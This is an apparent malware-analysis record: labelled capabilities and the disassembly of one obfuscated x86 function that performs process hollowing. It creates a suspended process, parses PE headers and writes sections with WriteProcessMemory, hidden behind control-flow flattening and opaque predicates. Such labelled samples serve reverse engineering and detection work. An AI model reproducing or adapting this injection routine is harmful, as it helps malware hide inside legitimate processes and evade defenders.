Function at 0x1000e760
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x21c
mov eax, dword [0x100a5c80]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x100a713c]
mov eax, dword [0x100a7138]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x21e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x21d], al
mov dword [ebp - 0x224], 0xee34f1bd
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x228], eax
sub eax, 0x80d2824d
je 0x10017792
jmp 0x1000e7d3
mov eax, dword [ebp - 0x228]
sub eax, 0x80f0f61b
je 0x1001a078
jmp 0x1000e7e9
mov eax, dword [ebp - 0x228]
sub eax, 0x8158879b
je 0x10016e0c
jmp 0x1000e7ff
mov eax, dword [ebp - 0x228]
sub eax, 0x819a61af
je 0x100179af
jmp 0x1000e815
mov eax, dword [ebp - 0x228]
sub eax, 0x81c3705f
je 0x100195b4
jmp 0x1000e82b
mov eax, dword [ebp - 0x228]
sub eax, 0x81ec776e
je 0x10019870
jmp 0x1000e841
mov eax, dword [ebp - 0x228]
sub eax, 0x825846f5
je 0x1001c06f
jmp 0x1000e857
mov eax, dword [ebp - 0x228]
sub eax, 0x82b7c35a
je 0x10016a05
jmp 0x1000e86d
mov eax, dword [ebp - 0x228]
sub eax, 0x831bc5f6
je 0x1001c94d
jmp 0x1000e883
mov eax, dword [ebp - 0x228]
sub eax, 0x833beae3
je 0x10019ce9
jmp 0x1000e899
mov eax, dword [ebp - 0x228]
sub eax, 0x83736411
je 0x10014ce4
jmp 0x1000e8af
mov eax, dword [ebp - 0x228]
sub eax, 0x83ec984d
je 0x10015a53
jmp 0x1000e8c5
mov eax, dword [ebp - 0x228]
sub eax, 0x8455512f
je 0x100176ee
jmp 0x1000e8db
mov eax, dword [ebp - 0x228]
sub eax, 0x848fb9ec
je 0x10015f47
jmp 0x1000e8f1
mov eax, dword [ebp - 0x228]
sub eax, 0x84b6ebaa
je 0x1001cd31
jmp 0x1000e907
mov eax, dword [ebp - 0x228]
sub eax, 0x84d660a0
je 0x10013139
jmp 0x1000e91d
mov eax, dword [ebp - 0x228]
sub eax, 0x84f65e82
je 0x1001a097
jmp 0x1000e933
mov eax, dword [ebp - 0x228]
sub eax, 0x84fb418b
je 0x100149bf
jmp 0x1000e949
mov eax, dword [ebp - 0x228]
sub eax, 0x851474b8
je 0x1001bd2b
jmp 0x1000e95f
mov eax, dword [ebp - 0x228]
sub eax, 0x859b8e18
je 0x10018e1d
jmp 0x1000e975
mov eax, dword [ebp - 0x228]
sub eax, 0x8662d633
je 0x100191bc
jmp 0x1000e98b
mov eax, dword [ebp - 0x228]
sub eax, 0x86ec90c2
je 0x10015de8
jmp 0x1000e9a1
mov eax, dword [ebp - 0x228]
sub eax, 0x88362265
je 0x1001cdc8
jmp 0x1000e9b7
mov eax, dword [ebp - 0x228]
sub eax, 0x889dc6dd
je 0x10016688
jmp 0x1000e9cd
mov eax, dword [ebp - 0x228]
sub eax, 0x88c88b5c
je 0x1001c3b9
jmp 0x1000e9e3
mov eax, dword [ebp - 0x228]
sub eax, 0x88c916c2
je 0x100172a9
jmp 0x1000e9f9
mov eax, dword [ebp - 0x228]
sub eax, 0x8936f154
je 0x10017b80
jmp 0x1000ea0f
mov eax, dword [ebp - 0x228]
sub eax, 0x89386c8e
je 0x10014a95
jmp 0x1000ea25
mov eax, dword [ebp - 0x228]
sub eax, 0x8988654c
je 0x1001cb02
jmp 0x1000ea3b
mov eax, dword [ebp - 0x228]
sub eax, 0x89b8978e
je 0x100155b5
jmp 0x1000ea51
mov eax, dword [ebp - 0x228]
sub eax, 0x8aa641c0
je 0x100169f6
jmp 0x1000ea67
mov eax, dword [ebp - 0x228]
sub eax, 0x8b2facbe
je 0x10016697
jmp 0x1000ea7d
mov eax, dword [ebp - 0x228]
sub eax, 0x8ba4ee7a
je 0x10016146
jmp 0x1000ea93
mov eax, dword [ebp - 0x228]
sub eax, 0x8be182b1
je 0x100190ad
jmp 0x1000eaa9
mov eax, dword [ebp - 0x228]
sub eax, 0x8c206fb3
je 0x1001c502
jmp 0x1000eabf
mov eax, dword [ebp - 0x228]
sub eax, 0x8d0ab8f2
je 0x1001398d
jmp 0x1000ead5
mov eax, dword [ebp - 0x228]
sub eax, 0x8d83dc67
je 0x10018a3b
jmp 0x1000eaeb
mov eax, dword [ebp - 0x228]
sub eax, 0x8dc3b289
je 0x1001a71a
jmp 0x1000eb01
mov eax, dword [ebp - 0x228]
sub eax, 0x8dd5d148
je 0x10016bf3
jmp 0x1000eb17
mov eax, dword [ebp - 0x228]
sub eax, 0x8e512197
je 0x1001c578
jmp 0x1000eb2d
mov eax, dword [ebp - 0x228]
sub eax, 0x8ea5384a
je 0x1001af0c
jmp 0x1000eb43
mov eax, dword [ebp - 0x228]
sub eax, 0x8f2dfa4c
je 0x10013456
jmp 0x1000eb59
mov eax, dword [ebp - 0x228]
sub eax, 0x9022ca50
je 0x1001456a
jmp 0x1000eb6f
mov eax, dword [ebp - 0x228]
sub eax, 0x904581cd
je 0x1001c58d
jmp 0x1000eb85
mov eax, dword [ebp - 0x228]
sub eax, 0x907c9fc4
je 0x1001c9e3
jmp 0x1000eb9b
mov eax, dword [ebp - 0x228]
sub eax, 0x90837ea2
je 0x10017c96
jmp 0x1000ebb1
mov eax, dword [ebp - 0x228]
sub eax, 0x91a4534f
je 0x10019d7c
jmp 0x1000ebc7
mov eax, dword [ebp - 0x228]
sub eax, 0x91dc7b09
je 0x1001c686
jmp 0x1000ebdd
mov eax, dword [ebp - 0x228]
sub eax, 0x92ea3c2e
je 0x10015c5c
jmp 0x1000ebf3
mov eax, dword [ebp - 0x228]
sub eax, 0x9322eb60
je 0x10016077
jmp 0x1000ec09
mov eax, dword [ebp - 0x228]
sub eax, 0x93be418b
je 0x1001b05b
jmp 0x1000ec1f
mov eax, dword [ebp - 0x228]
sub eax, 0x9456915a
je 0x10016f18
jmp 0x1000ec35
mov eax, dword [ebp - 0x228]
sub eax, 0x949b9594
je 0x1001ba7c
jmp 0x1000ec4b
mov eax, dword [ebp - 0x228]
sub eax, 0x94dd31bd
je 0x10018fe5
jmp 0x1000ec61
mov eax, dword [ebp - 0x228]
sub eax, 0x95137485
je 0x1001b644
jmp 0x1000ec77
mov eax, dword [ebp - 0x228]
sub eax, 0x9602642a
je 0x1001c7fa
jmp 0x1000ec8d
mov eax, dword [ebp - 0x228]
sub eax, 0x96276245
je 0x1001c61a
jmp 0x1000eca3
mov eax, dword [ebp - 0x228]
sub eax, 0x965eede5
je 0x100177ec
jmp 0x1000ecb9
mov eax, dword [ebp - 0x228]
sub eax, 0x966f405b
je 0x10018ee9
jmp 0x1000eccf
mov eax, dword [ebp - 0x228]
sub eax, 0x96fbc27b
je 0x10013652
jmp 0x1000ece5
mov eax, dword [ebp - 0x228]
sub eax, 0x971eb5d6
je 0x1001893f
jmp 0x1000ecfb
mov eax, dword [ebp - 0x228]
sub eax, 0x979bab65
je 0x10018d5e
jmp 0x1000ed11
mov eax, dword [ebp - 0x228]
sub eax, 0x97ebfe14
je 0x1001824e
jmp 0x1000ed27
mov eax, dword [ebp - 0x228]
sub eax, 0x98145aa7
je 0x1001b15b
jmp 0x1000ed3d
mov eax, dword [ebp - 0x228]
sub eax, 0x987193f1
je 0x1001c659
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
mov edx, eax
add edx, 0x40be995e
sub edx, 1
sub edx, 0x40be995e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4aa89282
mov ecx, 0xabf38709
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [ebp - 0x218]
mov byte [eax], 1
mov eax, dword [ebp - 0x218]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x139], al
mov dword [ebp - 0x224], 0x57b680d1
jmp 0x1001ceac
mov dword [ebp - 0x224], 0x99376e3f
jmp 0x1001ceac
mov eax, dword [ebp - 0x214]
mov dword [eax], 0xefb8ef6
mov dword [ebp - 0x224], 0xce9f4bfd
jmp 0x1001ceac
mov dl, byte [ebp - 0x117]
mov eax, 0x10e3a796
mov ecx, 0xbffe5082
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
mov edx, eax
add edx, 0xdfee6a46
sub edx, 1
sub edx, 0xdfee6a46
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3083bff7
mov ecx, 0xb0d3ecd2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [ebp - 0x200]
cmp dword [eax], 0xefb8f0d
setle al
and al, 1
mov byte [ebp - 0x115], al
mov ecx, dword [0x100a713c]
mov eax, dword [0x100a7138]
mov edx, ecx
add edx, 0x5dadb2ba
sub edx, 1
sub edx, 0x5dadb2ba
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x38da7e28
mov ecx, 0x81961d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [ebp - 0x1fc]
mov dword [eax], 0xefb8ef5
mov eax, dword [ebp - 0x1fc]
mov eax, dword [eax]
mov dword [ebp - 0x110], eax
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
mov edx, eax
sub edx, 0x9ba4dc6
sub edx, 1
add edx, 0x9ba4dc6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa442c358
mov ecx, 0xb8467b3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [ebp - 0x1f4]
mov eax, dword [eax]
mov dword [ebp - 0xf8], eax
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
mov edx, eax
add edx, 0xa90ae8b5
sub edx, 1
sub edx, 0xa90ae8b5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8e512197
mov ecx, 0xc37c9bdc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov dword [ebp - 0x224], 0x5839d472
jmp 0x1001ceac
mov dword [ebp - 0x224], 0xf6e8efe9
jmp 0x1001ceac
mov eax, dword [ebp - 0x1ec]
mov byte [eax], 1
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
mov edx, eax
add edx, 0x66a297a0
sub edx, 1
sub edx, 0x66a297a0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x96276245
mov ecx, 0xfc280d3d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov dword [ebp - 0x224], 0xd38e3a3e
jmp 0x1001ceac
mov eax, dword [ebp - 0x1e8]
mov byte [eax], 1
mov dword [ebp - 0x224], 0xae1915c7
jmp 0x1001ceac
mov eax, dword [ebp - 0x1e8]
mov byte [eax], 1
mov dword [ebp - 0x224], 0xbd130c2b
jmp 0x1001ceac
mov dword [ebp - 0x224], 0x8b2facbe
jmp 0x1001ceac
mov edx, dword [ebp - 0xf0]
mov eax, 0x64b013e6
mov ecx, 0xc8c7449f
cmp edx, 0xefb8eda
cmovg eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov dword [ebp - 0x224], 0x82b7c35a
jmp 0x1001ceac
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
mov edx, eax
add edx, 0x7d6e71f4
sub edx, 1
sub edx, 0x7d6e71f4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5f543f34
mov ecx, 0xd2ff202c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c2ffa2a
mov ecx, 0x5483022b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov ecx, dword [0x100a713c]
mov eax, dword [0x100a7138]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x38bb55d
mov ecx, 0x500f6b46
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [ebp - 0x1d8]
mov dword [eax], 0xefb8ee4
mov dword [ebp - 0x224], 0x26a9882b
jmp 0x1001ceac
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
mov edx, eax
sub edx, 0xe33c19b6
sub edx, 1
add edx, 0xe33c19b6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2cd47baa
mov ecx, 0x1a5e520a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov dword [ebp - 0x224], 0xb351297d
jmp 0x1001ceac
mov eax, dword [ebp - 0x1d0]
mov byte [eax], 0
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
mov edx, eax
sub edx, 0x192d6619
sub edx, 1
add edx, 0x192d6619
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9602642a
mov ecx, 0x965eede5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov dword [ebp - 0x224], 0xdd7fece2
jmp 0x1001ceac
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
mov edx, eax
sub edx, 0x6f731fb2
sub edx, 1
add edx, 0x6f731fb2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfc138c68
mov ecx, 0x745fafbc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov dl, byte [ebp - 0xd5]
mov eax, 0x4bffed08
mov ecx, 0x277abfc6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov dword [ebp - 0x224], 0xd154849b
jmp 0x1001ceac
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
mov edx, eax
add edx, 0x7ea85469
sub edx, 1
sub edx, 0x7ea85469
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x262a3c1f
mov ecx, 0x2a303403
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb105cc3e
mov ecx, 0xffd7dfe1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov ecx, dword [0x100a713c]
mov eax, dword [0x100a7138]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4480001d
mov ecx, 0xd6c976da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov ecx, dword [0x100a713c]
mov eax, dword [0x100a7138]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x341a9f2
mov ecx, 0xe51fb394
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov dword [ebp - 0x224], 0xcba3119
jmp 0x1001ceac
mov dword [ebp - 0x224], 0x3018e03
jmp 0x1001ceac
mov eax, dword [ebp - 0x1b4]
mov dword [eax], 0xefb8f13
mov dword [ebp - 0x224], 0x270506d5
jmp 0x1001ceac
mov ecx, dword [0x100a713c]
mov eax, dword [0x100a7138]
mov edx, ecx
add edx, 0x653be0b4
sub edx, 1
sub edx, 0x653be0b4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1bdc33ef
mov ecx, 0x49f4d245
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [ebp - 0x1b4]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov ecx, dword [0x100a713c]
mov eax, dword [0x100a7138]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x907c9fc4
mov ecx, 0x6db17e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
mov edx, eax
sub edx, 0x84be5b8a
sub edx, 1
add edx, 0x84be5b8a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa7a685c
mov ecx, 0xf2281cff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov ecx, dword [0x100a713c]
mov eax, dword [0x100a7138]
mov edx, ecx
add edx, 0x7d5e36dc
sub edx, 1
sub edx, 0x7d5e36dc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6c7bf8d4
mov ecx, 0x13168f95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x98]
mov dword [eax], ecx
mov ecx, dword [0x100a713c]
mov eax, dword [0x100a7138]
mov edx, ecx
add edx, 0xb4b2fb4a
sub edx, 1
sub edx, 0xb4b2fb4a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5e7c8281
mov ecx, 0x3a2a5c5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [ebp - 0x1a8]
mov dword [eax], 1
mov dword [ebp - 0x224], 0xb4bb2e9e
jmp 0x1001ceac
xor eax, eax
mov dl, al
mov eax, 0x3004e730
mov ecx, 0x84f65e82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov ecx, dword [0x100a713c]
mov eax, dword [0x100a7138]
mov edx, ecx
sub edx, 0xca0fde12
sub edx, 1
add edx, 0xca0fde12
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4ccbe275
mov ecx, 0x16abe049
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov dl, byte [ebp - 0x91]
mov eax, 0x2bb777cf
mov ecx, 0xad132483
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov dword [ebp - 0x224], 0x3ff37a85
jmp 0x1001ceac
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x68]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x19c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x170]
mov edx, dword [edx]
mov esi, dword [ebp - 0x160]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0x178]
mov edx, dword [edx]
mov esi, dword [ebp - 0x170]
mov esi, dword [esi]
mov edi, dword [ebp - 0x160]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
sub edx, 0x8ab6301
add edx, esi
add edx, 0x8ab6301
mov esi, dword [ebp - 0x18c]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x170]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x160]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1000e580
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x164]
mov edx, dword [eax]
mov eax, dword [ebp - 0x170]
mov esi, dword [eax]
mov eax, dword [ebp - 0x160]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xbc3d1e8
mov ecx, 0x98145aa7
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [0x100a713c]
mov ecx, dword [0x100a7138]
mov edx, eax
add edx, 0x3aa088c2
sub edx, 1
sub edx, 0x3aa088c2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2ec51b1
mov ecx, 0xa4d7e409
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax]
sub ecx, 0x99d9dd95
add ecx, 8
add ecx, 0x99d9dd95
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0xeace924d
sub ecx, 8
sub ecx, 0xeace924d
shr ecx, 1
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov ecx, dword [0x100a713c]
mov eax, dword [0x100a7138]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x41376179
mov ecx, 0x2f74e98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov dword [ebp - 0x224], 0xab1704
jmp 0x1001ceac
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
sub eax, 0x2d62f8c0
add eax, 1
add eax, 0x2d62f8c0
mov dword [ebp - 0x28], eax
mov ecx, dword [0x100a713c]
mov eax, dword [0x100a7138]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x88362265
mov ecx, 0x1ec0efa9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x224], eax
jmp 0x1001ceac
mov dword [ebp - 0x224], 0xf91ab459
jmp 0x1001ceac
mov eax, dword [ebp - 0x20c]
mov dword [eax], 0
mov dword [ebp - 0x224], 0xa13e60a
jmp 0x1001ceac
mov dword [ebp - 0x224], 0xfabaea43
jmp 0x1001ceac
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x224], 0x89b8978e
jmp 0x1001ceac
mov eax, dword [ebp - 0x1f4]
mov dword [eax], 1
mov dword [ebp - 0x224], 0x260cce7c
jmp 0x1001ceac
mov eax, dword [ebp - 0x1ec]
mov byte [eax], 1
mov dword [ebp - 0x224], 0x86ec90c2
jmp 0x1001ceac
mov eax, dword [ebp - 0x1e4]
mov byte [eax], 1
mov dword [ebp - 0x224], 0x1e8607ed
jmp 0x1001ceac
mov eax, dword [ebp - 0x1d0]
mov byte [eax], 0
mov dword [ebp - 0x224], 0x80d2824d
jmp 0x1001ceac
mov dword [ebp - 0x224], 0xb9832064
jmp 0x1001ceac
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x224], 0x8662d633
jmp 0x1001ceac
mov eax, dword [ebp - 0x1a4]
mov byte [eax], 0
mov dword [ebp - 0x224], 0x1a54f4d7
jmp 0x1001ceac
mov eax, dword [ebp - 0x150]
mov edx, dword [eax]
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x224], 0x343a6d70
jmp 0x1001ceac
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x224], 0x851474b8
jmp 0x1001ceac
jmp 0x1000e7b7